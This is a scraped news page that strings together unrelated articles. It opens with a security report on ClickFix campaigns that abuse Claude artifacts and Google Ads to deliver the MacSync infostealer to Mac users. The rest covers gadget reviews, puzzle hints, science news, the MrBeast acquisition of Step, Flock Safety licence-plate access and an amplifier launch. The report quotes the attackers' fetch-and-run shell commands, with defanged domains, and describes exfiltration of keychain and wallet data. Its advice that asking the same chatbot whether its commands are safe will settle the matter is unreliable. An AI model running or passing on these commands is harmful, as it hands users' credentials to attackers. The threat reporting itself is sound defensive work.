Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.
At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.
A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.
An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.
Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”
Advertisement
Malicious HomeBrew search results Source: AdGuard
Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.
In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Second variant using a fake Apple Support page Source: Moonlock Lab
Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.
AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.
The ClickFix guide hosted on a Claude conversation Source: Moonlock Lab
Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system.
According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.
“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.
The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.
Advertisement
MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.
A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.
The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).
Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.
Advertisement
Modern IT infrastructure moves faster than manual workflows can handle.
In this new Tines guide, learn how your team can reduce hidden manual delays, improve reliability through automated response, and build and scale intelligent workflows on top of tools you already use.
I’ve been glued to my Nintendo Switch 2 from the moment it launched last year. There are just so many excellent games on the system already, including the chaos-infused Mario Kart World and frenetic smash-inspired racer, Kirby Air Riders.
Yes, as controversial as this may be, I think Nintendo’s latest console has got off to a pretty strong start overall. And that’s largely thanks to the Switch 2’s lineup of titles that can be enjoyed with friends or family – either locally or online.
And if you want to experience the multiplayer mayhem for yourself, I’ve got some good news – because I’m here to share six essential party games that every Switch 2 owner needs in their library.
Advertisement
I’ve included some of the best Nintendo Switch 2 games, including the upgraded version of Mario Party Jamboree – a minigame-filled fiesta that will have you jumping out of your seat, shouting at your friends, and raging at CPUs. But I’ve also selected the aforementioned racers, Mario Kart Worldand Kirby Air Riders, the pristine puzzler Puyo Puyo Tetris 2S, and some original Switch classics like 51 Worldwide Gamesand Super Smash Bros. Ultimate.
You’ll find my top picks down below. Scroll down for the best prices on my selections in the US, or hop down the page for links to where to buy in the UK.
And of course, you can also follow TechRadar on YouTube and TikTok for news, reviews, unboxings in video form, and get regular updates from us on WhatsApp too.
Sign up for breaking news, reviews, opinion, top tech deals, and more.
Looking for the most recent regular Connections answers? Click here for today’s Connections hints, as well as our daily answers and hints for The New York Times Mini Crossword, Wordle and Strands puzzles.
Today’s Connections: Sports Edition is a mix of a little bit of everything. It helps if basketball is your game. If you’re struggling with today’s puzzle but still want to solve it, read on for hints and the answers.
Connections: Sports Edition is published by The Athletic, the subscription-based sports journalism site owned by The Times. It doesn’t appear in the NYT Games app, but it does in The Athletic’s own app. Or you can play it for free online.
Hints for today’s Connections: Sports Edition groups
Here are four hints for the groupings in today’s Connections: Sports Edition puzzle, ranked from the easiest yellow group to the tough (and sometimes bizarre) purple group.
Yellow group hint: Don’t keep playing!
Advertisement
Green group hint: Smash that basketball.
Blue group hint: Hoopster winners.
Purple group hint: Goldy Gopher is another one.
Answers for today’s Connections: Sports Edition groups
We spend hours testing every product or service we review, so you can be sure you’re buying the best. Find out more about how we test.
Viltrox AF 85mm F1.4 Pro: one-minute review
I’ve had a busy time reviewing Viltrox lenses this year – including a range of primes such as the cheap and characterful ‘body cap’ 28mm f/4.5 lens, my dream reportage photography 35mm f/1.2 lens, the buttery bokeh-delivering 135mm f/1.8 LAB and the lightweight 50mm f/2 Air. Now, it’s the turn of the AF 85mm F1.4 Pro.
It’s designed for full-frame and is currently available for Sony and Nikon cameras only, with no word yet on an L-mount version (Fujifilm‘s X-mount is APS-C, and there’s already an equivalent 56mm F1.2 Pro lens available). It’s the first ‘Pro’ autofocus lens I’ve tested in Viltrox’s range, which also includes the AF 50mm F1.4 and various APS-C lenses, including the 27mm F1.2 and 75mm F1.2 (for Sony E, Fujifilm X and Nikon Z).
Advertisement
In short, it’s the classic portrait lens for pro photographers, with upper-body portraits and dreamy animal portraits (think cats and dogs) being its speciality. I also like the focal length for street photography.
Just 15mm in length – Viltrox AF 28mm f/4.5 is a true body-cap lens, with a much faster f/4.5 aperture than other such optics, including the Panasonic 26mm f/8. If you don’t mind something a little larger and pricier, there are f/2.8 alternatives (Image credit: Tim Coleman)
In the hand, the Viltrox 85mm F1.4 Pro’s rugged build quality is immediately evident – this is a weather-sealed metal lens, with a range of external controls for photo and video work, even if it lacks the digital display found in Viltrox’s flagship ‘LAB’ lenses.
Image quality is top drawer in every regard, too, demonstrating everything you’d hope for in a portrait lens; detail is sharp, bokeh is smooth, lens distortions are minimal. And then comes the mic drop: this lens costs just $589 / £569 / AU$919 – that’s a third of the price of Sony’s 85mm F1.4 GM II, and almost half the price of Sigma’s 85mm f1.4 Art DG DN. It’s regularly on sale for less, too.
Advertisement
Surely we can forget these rival lenses then, and save a packet with the Viltrox AF 85mm F1.4 Pro instead? Not quite. At 800g and measuring 108.5mm in length, this is a hefty lens that’s a fair bit heavier than rivals. If an 85mm f/1.4 lens is your workhorse optic, it could be well worth forking out extra for a lighter alternative.
Viltrox AF 85mm F1.4 Pro: price and availability
Available in Sony E and Nikon Z-mount versions
It costs $598 / £569 / AU$919
Viltrox regularly discounts its lenses – there’s 15% off the AF 85mm F1.4 Pro at the time of writing
Viltrox’s ‘Pro’ series, which includes the 85mm F1.4 lens, sits between its flagship ‘LAB’ series, and above its lightweight ‘EVO’ in terms of both price and quality. At $598 / £569 / AU$919, it’s not a cheap lens by any means, and is the priciest of a trio of Viltrox 85mm lenses, with an f/1.8 and f/2 EVO also available. That said, the f/1.4 aperture is a better option, especially for pros who work in challenging situations, including indoors and low light.
Sign up for breaking news, reviews, opinion, top tech deals, and more.
The lens is currently available in Sony E and Nikon Z versions, but not L-mount or Canon RF (don’t expect the latter – Canon has locked Viltrox out. But for reference, Canon’s own 85mm F1.4L VCM costs 3x the price of Viltrox’s, and for me is very similar).
Advertisement
A fairer comparison for value, then, is against Nikon and Sony’s own 85mm lenses, plus lenses from other third parties such as Sigma. Nikon doesn’t have a f/1.4 version in its range yet.
Here’s how the Sony and Nikon-mount 85mm lenses stack up (spoiler alert – the Viltrox wins on value):
Swipe to scroll horizontally
Row 0 – Cell 0
Sony E mount
Nikon Z mount
Advertisement
Viltrox AF 85mm F1.4 Pro
$598 / £569 / AU$919
$598 / £569 / AU$919
Nikon Z 85mm F1.2 S
Advertisement
N/A
$2,999 / £2,799 / AU$4,749
NIKKOR Z 85mm f/1.8 S
N/A
Advertisement
$849 / £789 / AU$1,399
Sigma 85mm F1.4 DG DN Art
$1,319 / £979 / AU$1,596
N/A
Advertisement
Sony FE 85mm F1.4 GM II
$2,049 / £1,799 / AU$2,499
N/A
Sony FE 85mm F1.8
Advertisement
$649 / £499 / AU$949
N/A
Viltrox AF 85mm F1.4 Pro: specs
Swipe to scroll horizontally
Viltrox AF 28mm f/4.5 specs
Type:
Mid-telephoto prime
Mount:
Advertisement
Sony E, Nikon Z
Sensor:
Full-frame
Focal length:
Advertisement
85mm
Max aperture:
f/1.4
Minimum focus:
Advertisement
0.79m, 0.13x max magnification
Filter size:
77mm
Dimensions:
Advertisement
84.5 x 108.5mm
Weight:
28.2oz / 800g (lens only)
Advertisement
Viltrox AF 85mm F1.4 Pro: design
Durable, weather-sealed design, but prone to scratches
Around 25% heavier than alternatives
External controls suit photo and video work
Image 1 of 4
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
The Viltrox AF 85mm F1.4 Pro’s build quality and design are clearly excellent, and remind me of Sony’s current standard-focal-length GM lenses – and even more so of Canon’s new range of hybrid ‘VCM’ lenses, which includes a triple-the-price 85mm F1.4L VCM. As mentioned, Viltrox isn’t permitted to make Canon RF lenses, but I’ve used both the Canon RF 85mm F1.4L VCM and Viltrox AF 85mm F1.4 Pro, and I’m having a hard time spotting any meaningful differences, besides the Canon lens being 25% lighter.
There’s a ridged aperture ring that can be set to clicked or smooth adjustments between aperture values, and which could host a follow-focus mechanism for cinematic manual focusing, equipping the Viltrox 85mm lens well for photo and video work. Elsewhere, there’s an AF/MF switch, a custom button, plus a large focus ring – every control is beautifully dampened / smooth in operation.
A rear rubber seal confirms the weather-sealing, and you’ll find a USB-C port within the metal rear mount, through which future firmware upgrades can be installed.
Image 1 of 2
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
Viltrox supplies a chunky lens hood which easily screws on and off, while the lens accepts the common 77mm size of threaded filters.
There’s a reassuring weight to the metal lens, although it’s perhaps a little too weighty for its own good; at 800g it’s around 25% heavier than the aforementioned Sony, Sigma and Canon equivalents. Measuring 108mm in length, it’s similar in size to the Sony lens but bigger than Sigma’s.
Advertisement
Despite its weight, I thought the balance between the Viltrox lens and mid-range Nikon camera, with which I was testing the lens, felt pretty good. I wouldn’t want it any heavier or longer, but it just about sits within comfortable limits – and it would be an even better match with chunkier a Nikon Z8.
Over the course of two months with the lens I’ve managed to look after it, and it still looks pristine. However, I’ve tested other Viltrox lenses in other scenarios with less care, including the AF 35mm F1.2 LAB which has a similar finish, and they’ve proved to be prone to scratches. I’m not going to test that theory for the sake of it, but that’s my word of warning.
Viltrox AF 85mm F1.4 Pro: Performance
11-blade rounded aperture with f/1.4 to f/16 range, capable of smooth bokeh
Speedy and reliable VCM autofocus
Extremely sharp between f/2 and f/8
Image 1 of 5
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
That big f/1.4 aperture is for sure a major selling point of the lens, especially when you consider that Viltrox already has two 85mm lenses for full-frame cameras in its range: the original 85mm f/1.8 and an 85mm f/2 EVO – the latter is the lightweight and affordable choice.
You can see how chunky the diameter of the lens is in the product gallery above, plus how big the lens aperture is through the range, with a generous 11-blades creating a circular aperture for attractive bokeh.
Advertisement
Like Canon’s range of hybrid lenses, the Viltrox 85mm lens employs a Voice Coil Motor (VCM) which drives autofocus, and the result is snappy autofocus – it’s quicker in my experience than Viltrox’s pricier 135mm f/1.8 LAB.
Focusing is internal, meaning the lens size remains unchanged as it focuses, and that there are ‘floating’ lens elements inside. That means there’s an unsettling rattling noise when moving the lens when it’s not on the camera, or when the camera is not turned on. There’s nothing to worry about here – that’s totally normal, and it’s the same with all such lenses. Those elements ‘lock’, and are ready to go for focusing when paired with a camera that’s turned on.
Image 1 of 9
f/1.4(Image credit: Tim Coleman)
f/1.8(Image credit: Tim Coleman)
f/2(Image credit: Tim Coleman)
f/4(Image credit: Tim Coleman)
f/1.4(Image credit: Tim Coleman)
f/1.8(Image credit: Tim Coleman)
f/2(Image credit: Tim Coleman)
f/2.8(Image credit: Tim Coleman)
f/4.5(Image credit: Tim Coleman)
Image quality impresses, truly. Detail is incredibly sharp, especially between f/2 and f/8, where lens distortion is also pretty much non-existent. Open the lens to f/1.4 and there’s vignetting (darkening in the corners), but that’s gone by somewhere between f/2 and f/2.8.
Image 1 of 8
Advertisement
An 85mm f/1.4 lens is a good option for product photography – I used it for my Instax Mini Evo Cinema shots(Image credit: Tim Coleman)
And of course it’s a top choice for portraiture, especially head and shoulder shots(Image credit: Tim Coleman)
I can’t take credit for this photo – unlike the previous self portraits where I’ve shot remotely through Nikon’s app, my son took this one of me with my daughter on a hike(Image credit: Tim Coleman)
It’s also a decent option for animal portraits!(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
The f/1.4 aperture lets in plenty of light, which makes the lens a great choice for low light / indoor shots(Image credit: Tim Coleman)
(Image credit: Tim Coleman)
Only in the most extreme scenarios, and with all lens corrections turned off, have I seen chromatic aberrations in my photos. One example was an image that included dew drops on a backlit cobweb.
Bokeh is super-smooth. Provided you’re relatively close to your subject and shooting between f/1.4 and f/2.8, you’ll typically get smooth and big bokeh that’s rounded in shape – no ugly onion-ring effect in sight.
Increase focus distance and, as bokeh consequently gets smaller, it can go a little cats-eye in shape. Overall, however, bokeh looks lovely, and is a real reason to opt for this 85mm lens over Viltrox’s other offerings.
Image 1 of 5
At f/5, detail is staggeringly sharp across the entire frame(Image credit: Tim Coleman)
Again, f/5.6 delivers crisp detail, and with the compression effect of the mid telephoto focal length, the background can still be blurred here for decent subject separation(Image credit: Tim Coleman)
I opted for f/1.4 here for a dreamy effect(Image credit: Tim Coleman)
One big strike against the lens is its limiting minimum focus distance. I wish I could get closer to subjects like this fungi(Image credit: Tim Coleman)
The out of focus dew drops in this photo exhibit a little chromatic aberration distortion, but I’d expect that from such a subject, and with lens corrections turned off.(Image credit: Tim Coleman)
As is the case with other 85mm f/1.4 full-frame lenses, macro photography is not the Viltrox lens’s forte. Minimum focus distance is 0.79m, making for a modest 0.13x maximum magnification. To be clear, the Sony and Sigma alternatives are no better.
Close focusing beyond the lens’s capabilities is hardly the regular concern of a portrait photographer, but for me I like mixing up what I photograph, and would appreciate more versatile close focusing – it would make for a more complete lens.
Advertisement
Should you buy the Viltrox AF 85mm F1.4 Pro?
(Image credit: Tim Coleman)
Buy it if…
Don’t buy it if…
Advertisement
How I tested the Viltrox AF 85mm F1.4 Pro
(Image credit: Tim Coleman)
Viltrox loaned me a Z-mount version of the lens
I paired it with my full-frame Nikon Z6 II
My review period spanned two months, and I used the lens in a range of scenarios
Viltrox sent me a Z-mount version of the lens at the back end of 2025, which has given me plenty of opportunity to test it out in various scenarios with my Nikon Z6 II full-frame mirrorless camera (but not with an APS-C body).
I set up my Z6 II for the lens, including the various subject-detection autofocus modes (Auto area, with specific subject detection based on what I was shooting).
I used it indoors and outdoors, in good light and bad, and I shot sequences of the same photos through the aperture range in order to check for lens distortion, sharpness, bokeh and so on.
The team says this new chemical strategy could avoid some of the typical mechanisms that cancers use to become resistant.
A consortium that includes scientists from Dublin City University (DCU) and the University of Limerick (UL) has developed a new chemical strategy for designing metal-based compounds capable of damaging cancer cell DNA.
The team includes researchers from Chimie ParisTech from France, and Chalmers University of Technology and the Sahlgrenska University Hospital from Sweden.
Led by DCU’s Prof Andrew Kellet, the European consortium has created a series of molecules that cut DNA through a distinct chemical mechanism when compared with existing chemotherapy drugs. Their research focuses on early-stage compounds that could form the basis of future therapies, particularly in cancers that become resistant to treatment.
Advertisement
To achieve their results, the scientists used “click chemistry” – a method used for assembling molecular components – to create a family of compounds known as “tri-click” ligands. When combined with copper ions, these ligands form artificial metal-containing agents designed to cleave DNA.
“Click chemistry has transformed how we build complex molecules, but its potential as a platform to assemble DNA-damaging chemotherapeutics is under-explored,” said Kellet.
“One of the major challenges in cancer treatment is drug resistance. By developing compounds that damage DNA in a different way, we aim to open up new possibilities for overcoming some of the limitations of existing therapies. While this research is still at an early stage, it provides a valuable platform for future drug development.”
Drug resistance remains one of the biggest challenges in cancer treatment. Tumours can adapt by repairing specific forms of DNA damage or by blocking the activity of conventional drugs. According to the team, this new chemical strategy could avoid some of the typical mechanisms that cancers use to become resistant. Their study has been published in the journal Nature.
Advertisement
“This work exemplifies the value of systematic, deep screening of molecular properties in the development of more effective medicines,” said Damien Thompson, the director of SSPC, the Research Ireland Centre for Pharmaceuticals and a professor of molecular modelling at UL.
“Support from SSPC, the Research Ireland Centre for Pharmaceuticals enabled strong collaboration between our experimental and modelling teams and this new design strategy marks a key milestone in developing sustainable, well-tolerated anticancer drugs.”
Don’t miss out on the knowledge you need to succeed. Sign up for the Daily Brief, Silicon Republic’s digest of need-to-know sci-tech news.
LHS 1903 is a tiny red dwarf star in the Lynx constellation, 116 light-years away. This small star is around half the mass of our Sun and emits a faint glow that is scarcely visible against the night sky. Nonetheless, subsequent observations have revealed a system of four planets, and what they’re exhibiting is a pattern that utterly contradicts our assumptions.
The planets are grouped in the opposite order you’d expect: rocky, gaseous, gaseous, rocky, from innermost to outermost. The innermost planet, LHS 1903 b, is a dense super-Earth roughly 40% larger in radius than our own Earth, and it orbits in a blistering hot loop that lasts a few days. Its neighbor, LHS 1903 c, is joined in its orbit by LHS 1903 d; both are sub-Neptunes with thick gaseous envelopes, but that makes them less dense than rocky worlds of a similar mass, and because they’re a bit farther out, they’re in a cooler zone where the gas probably hung around during their formation.
2 AVIATION LEGENDS, 1 BUILD – Recreate the iconic Boeing 747 and NASA Space Shuttle Enterprise with the LEGO Icons Shuttle Carrier Aircraft…
DEPLOY LANDING GEAR – Turn the dial to extend the massive 18-wheel landing system on your airplane model, just like real flight operations
AUTHENTIC FEATURES & DETAILS – Remove the tail cone, engines, and landing gear from the NASA shuttle and stow them in the cargo bay during flight
Then there’s the surprise: LHS 1903 e, the outermost planet. At approximately 1.7 times the size of Earth, it is classified as a super-Earth, although density data indicate that it is composed of stony material with no major gaseous layer. Overall, it takes around 29 and a half days for this faraway globe to circle its star, which is far enough away to have a rather gaseous atmosphere, according to standard models.
Astronomers discovered three of these planets using NASA’s Transiting Exoplanet Survey Satellite (TESS), which detects tiny dips in sunlight as a planet passes in front of its star. Ground-based telescopes were then used to pinpoint their presence. However, it took data from the European Space Agency’s CHEOPS satellite to establish the presence of that fourth planet, a precision sensor capable of measuring exoplanet transits and providing a more thorough perspective of faraway worlds.
Thomas Wilson of the University of Warwick, the lead author of a recent study published in Science, sees this arrangement as obvious indication of something unusual going on. Usually, rocky planets appear after gas-rich ones, but this time it’s the opposite. The scientists tested various theories to see if they could come up with a different explanation, such as planets moving orbits or colliding in ways that took away their atmospheres, but they just did not hold up to the evidence.
Instead, what they’re seeing appears to indicate an inside-out formation. Planets most likely formed one at a time from a swirling cloud of dust and gas, rather than simultaneously. The inner rocky planet most likely formed first and absorbed all of the neighboring material, followed by the two gaseous planets, which grabbed some gas while it was still plenty. By the time the outer rocky planet began to develop, the gas had nearly evaporated, leaving it with little alternative but to build entirely from solid material. This makes the outer planet a bit of a late bloomer, a process that previously seemed improbable, but now has direct evidence to back it up. [Source]
The Razer Kishi Ultra is undoubtedly the best option for anyone who takes mobile gaming seriously, whether on a phone or a small tablet. A variety of features work together to make it seem like a high-end controller. So the full-sized grips on this thing allow your hands to rest comfortably, much like holding a pair of Xbox controllers connected together in the middle. Smaller clip-on alternatives can become cramped after a time, but the Kishi Ultra avoids that. The comfort level is really high, to the point that you can play Genshin Impact, Call of Duty Mobile, or stream from a PC for hours without your hands suffering.
In terms of controls, the Kishi Ultra meets the expectations of serious gamers looking for a professional-grade controller. The analogue sticks feature high-quality sensors that are extremely accurate and can withstand extensive use without drifting. The triggers use Hall Effect technology to provide smooth, precise input, similar to what you’d get from a specialized controller rather than the finicky outdated components found in some other solutions. The mecha-tactile buttons and 8-way d-pad provide excellent response with each press, and the additional programmable buttons on the back allow you to quickly access commands without shifting your grip.
PC REMOTE PLAY — The power of a gaming rig now fits the size of a pocket; stream games using a PC and launch them directly from mobile devices for…
FULL-SIZED FORM FACTOR FOR PHONES AND IPAD MINI — Game directly on a phone or unlock new levels of mobile gaming with tablets up to 8 inches for a…
PRO-GRADE CONSOLE CONTROLS and ERGONOMICS ON MOBILE — Dominate Mobile Gaming with the esports grade performance and comfort of Razer’s Pro console…
The Kishi Ultra also provides haptic feedback, adding to the immersion experience. On Android devices, the direction of the vibration corresponds to what is happening in the game, giving you a much better feeling of what is going on. The RGB lighting along the grips is a lovely touch, but it’s modest enough not to distract. The Razer Nexus software allows you to effortlessly map your controls, integrate all of your games across several providers, and manage your streaming setup in one location.
Advertisement
Compatibility-wise the Kishi Ultra is quite comprehensive. It connects directly to iPhone 15 and later models via USB-C, as well as a wide range of Android devices, including latest Samsung and Google Pixel phones, and even the iPad Mini (6th generation). It can be stretched to accommodate tablets up to 8 inches in size. Pass-through charging keeps the device charged while you’re playing. If you’re using a Windows PC, the Kishi Ultra also functions as a wired controller, which means you get a zero-latency connection because it’s connected in straight via USB, with none of the tiny delay that comes with Bluetooth.
MrBeast buys Step to teach teens how to save, spend, and invest
Step offers a Visa card and basic banking without monthly fees
The acquisition gives Beast Industries a fintech team and seven million users
Beast Industries has confirmed the acquisition of Step, a youth-focused financial planning app, adding a regulated money product to its expanding list of business ventures.
Beast Industries, controlled by Jimmy Donaldson, popularly known as MrBeast, the world’s largest YouTuber by subscriber count, appears to be extending its activities beyond entertainment and media into financial services.
The deal follows a year of fundraising by Beast Industries, including a $200 million investment from Bitmine Immersion Technologies, a company closely tied to cryptocurrency markets through its Ether holdings.
What Step actually does
Step was founded in 2018 by fintech veterans CJ MacDonald and Alexey Kalinichenko, with an emphasis on financial literacy for younger users.
The platform is not a licensed bank, instead relying on a partnership with Evolve Bank & Trust for regulated banking services established in 2022.
Step offers a Visa card alongside tools for saving, spending, sending money, and basic investing, without monthly fees.
Advertisement
Backing from Stripe and major venture capital firms gives the app credibility within fintech circles, independent of its new ownership.
Sign up to the TechRadar Pro newsletter to get all the top news, opinion, features and guidance your business needs to succeed!
Beast Industries says Step has more than seven million users and an internal fintech team that aligns with its digital reach and charitable ambitions.
The company already runs Feastables, Beast Philanthropy, and Beast Games, all tied closely to Donaldson’s enormous online presence, with over 450 million subscribers and billions of monthly views as of early 2026.
Advertisement
From a distribution standpoint, exposure to a young audience is not a problem. The logic suggests that financial tools could scale quickly through that existing reach.
In a statement on Monday to millions of his fans, Mr. Beast explained the reasons behind his acquisition and his goal of helping young people build financial skills.
“Nobody taught me about investing, building credit, or managing money when I was growing up. That’s exactly why we’re joining forces with Step,” MrBeast said.
Advertisement
“I want to give millions of young people the financial foundation I never had. Lots to share soon.”
Although this statement gives some explanation, it does not fully answer why a global entertainment brand should mediate financial behavior for millions of young users.
Step is marketed as a way to build credit and money habits early, which sounds straightforward but carries regulatory, ethical, and trust implications.
“This acquisition positions us to meet our audiences where they are, with practical, technology-driven solutions that can transform their financial futures for the better,” Jeff Housenbold, CEO of Beast Industries, said in a statement.
Advertisement
The app will operate under Beast Industries, effectively tying personal finance to a creator-led brand.
As of the time of writing, there is no information about how much was paid for the app, and no timeline was provided for operational changes following the acquisition.
A California police department is none too happy that its license plate reader records were accessed by federal employees it never gave explicit permission to peruse. And, once again, it’s Flock Safety shrugging itself into another PR black eye.
Mountain View police criticized the company supplying its automated license plate reader system after an audit turned up “unauthorized” use by federal law enforcement agencies.
At least six offices of four agencies accessed data from the first camera in the city’s Flock Safety license-tracking system from August to November 2024 without the police department’s permission or knowledge, according to a press release Friday night.
Flock has been swimming in a cesspool of its own making for several months now, thanks to it being the public face of “How To Hunt Down Someone Who Wanted An Abortion.” That debacle was followed by even more negative press (and congressional rebuke) for its apparent unwillingness to place any limits at all on access to the hundreds of millions of license plate records its cameras have captured, including those owned by private individuals.
Mountain View is in California. And that’s only one problem with everything in this paragraph:
Advertisement
The city said its system was accessed by Bureau of Alcohol, Tobacco, Firearms and Explosives offices in Kentucky and Tennessee, which investigate crimes related to guns, explosives, arson and the illegal trafficking of alcohol and tobacco; the inspector general’s office of the U.S.. General Services Administration, which manages federal buildings, procurement, and property; Air Force bases in Langley, Virginia, and in Ohio; and the Lake Mead National Recreation Area in Nevada.
Imagine trying to explain this to anyone. While it’s somewhat understandable that the ATF might be running nationwide searches on Flock’s platform, it’s almost impossible to explain why images captured by a single camera in Mountain View, California were accessed by the Inspector General for the GSA, much less Lake Mead Recreation Area staffers.
This explains how this happened. But it doesn’t do anything to explain why.
They accessed Mountain View’s system for one camera via a “nationwide” search setting that was turned on by Flock Safety, police said.
Apparently, this is neither opt-in or opt-out. It just is. The Mountain View police said they “worked closely” with Flock to block out-of-state access, as well as limit internal access to searches expressly approved by the department’s police chief.
Flock doesn’t seem to care what its customers want. Either it can’t do what this department asked or it simply chose not to because a system that can’t be accessed by government randos scattered around the nation is much tougher to sell than a locked-down portal that actually serves the needs of the people paying for it.
The privacy protection that Flock promised to Oregonians — that Flock software will automatically examine the reason provided by law enforcement officers for terms indicating an abortion- or immigration-related search — is meaningless when law enforcement officials provide generic reasons like “investigation” or “crime.” Likewise, Flock’s filters are meaningless if no reason for a search is provided in the first place. While the search reasons collected by Flock, obtained by press and activists through open records requests, have occasionally revealed searches for immigration and abortion enforcement, these are likely just the tip of the iceberg. Presumably, most officers using Flock to hunt down immigrants and women who have received abortions are not going to type that in as the reason for their search. And, regardless, given that Flock has washed its hands of any obligation to audit its customers, Flock customers have no reason to trust a search reason provided by another agency.
I now believe that abuses of your product are not only likely but inevitable, and that Flock is unable and uninterested in preventing them.
Flock just keeps making Wyden’s points for him. The PD wanted limited access with actual oversight. Flock gave the PD a lending library of license plate/location images anyone with or without a library card (so to speak) could check out at will. Flock is part of the surveillance problem. And it’s clear it’s happy being a tool that can be readily and easily abused, no matter what its paying customers actually want from its technology.
As the Bristol Hi-Fi Show gears up for 2026, early announcements are beginning to surface, and the first one worth paying attention to comes from Ultrafide Audio. The UK manufacturer will unveil its new ENSO INT-125 integrated amplifier, a deliberately traditional design that leans into core amplification fundamentals rather than chasing the current obsession with built-in streaming platforms. The ENSO is confirmed to include an internal DAC, but this is not a network amplifier, not a lifestyle hub, and not trying to replace your music app of choice. It is, quite unapologetically, an integrated amplifier built for people who still care about signal paths more than software updates.
That positioning makes sense once you understand Ultrafide’s roots. Still relatively unknown in North America, the brand is the hi-fi division of MC² Audio and XTA Electronics, two names with serious credibility in the professional audio world. Products are designed and manufactured in East Devon, England, under the guidance of lead engineer Alex Cooper, whose résumé includes MC² Audio’s Delta Series, XTA’s MX36 console switch, and custom guitar amplifiers built for Jimmy Page, Pete Townshend, and Mick Moody.
Ultrafide spent 2025 quietly expanding its footprint with the DIAS high-power amplifier and the more approachable SP500, exporting to over 20 countries. The ENSO INT-125 looks like a natural next step: a stripped-back, musically focused integrated aimed at listeners who want modern digital compatibility without surrendering control to a streaming ecosystem.
Ultrafide ENSO INT-125 Power, Topology, and Core Functionality
The ENSO is designed to serve as the true center of a system. Its name is drawn from the Japanese enso circle, a symbol of completeness, unity, and balance, themes that carry through both its sonic goals and its restrained, minimalist aesthetic.
Advertisement
Power output is rated at 125 watts per channel into 8 ohms, rising to 2 × 250 watts into 4 ohms, delivered via Ultrafide’s proprietary UltraSigma output topology.
Additional features include full preamplifier controls, tone adjustment options, an OLED display for clear system feedback, and a built-in stereo Class A/B headphone amplifier.
Inputs include two RCA and one balanced XLR analog input, along with one optical and one coaxial digital input. A dedicated moving-magnet phono stage is also included for direct turntable connection.
On the output side, the ENSO offers traditional loudspeaker terminals, a configurable preamp/power-amp loop with bypass capability, and a front-panel headphone output.
Advertisement
At its core is a linear toroidal power supply, with circuit design informed by technologies developed for Ultrafide’s U500DC and SP500 power amplifiers. The emphasis here is on clean power delivery, generous headroom, and maintaining musical integrity under real-world loads.
The preamplifier section features an OLED display with full remote control, derived from Ultrafide’s U4PRE, and includes ±8 dB bass and treble adjustment. These tone controls are designed by pro-audio EQ specialist Alex Cooper, who oversees all Ultrafide product development.
A key differentiator is the ENSO’s send/return pre-out and power-in architecture, which allows the amplifier to scale with a system. It can be used as a conventional integrated amplifier with passive loudspeakers, or reconfigured for multi-amplified or fully active systems with external equalisation, offering unusual flexibility at this level.
Advertisement. Scroll to continue reading.
Advertisement
The amplifier is housed in Ultrafide’s clean, understated chassis and follows a standard 17-inch (42 cm) width, ensuring straightforward integration into most hi-fi racks and systems.
“The ENSO (INT-125) is a huge moment for the Ultrafide brand,” said Mark Bailey, product specialist at Ultrafide Audio and MC² Audio. “It’s a flexible and powerful integrated amplifier that lets you focus on the music. Having been asked for this by many customers since our inception, we are pleased to offer a competitive price point, driven by our mission to make exceptional audio accessible.”
The Bottom Line
Priced at £3,500, the Ultrafide ENSO INT-125 is aimed squarely at listeners who want a serious, UK-built integrated amplifier with real power, a proper internal DAC, phono support, and system-scaling flexibility without being locked into a streaming platform that will feel obsolete in five years. It’s for traditional hi-fi users who already own a streamer, CD transport, or DAC and would rather choose those components themselves.
What it deliberately omits is just as telling: there’s no built-in streaming, no app ecosystem, no HDMI eARC for TV integration, and it’s unclear whether a dedicated subwoofer output is provided. In a segment crowded with do-everything amplifiers, the ENSO takes the contrarian route; fewer features, more focus, and a clear bias toward sound quality over convenience.
Copyright owners increasingly claim more draconian copyright law and policy will fight back against big tech companies. In reality, copyright gives the most powerful companies even more control over creators and competitors. Today’s copyright policy concentrates power among a handful of corporate gatekeepers—at everyone else’s expense. We need a system that supports grassroots innovation and emerging creators by lowering barriers to entry—ultimately offering all of us a wider variety of choices.
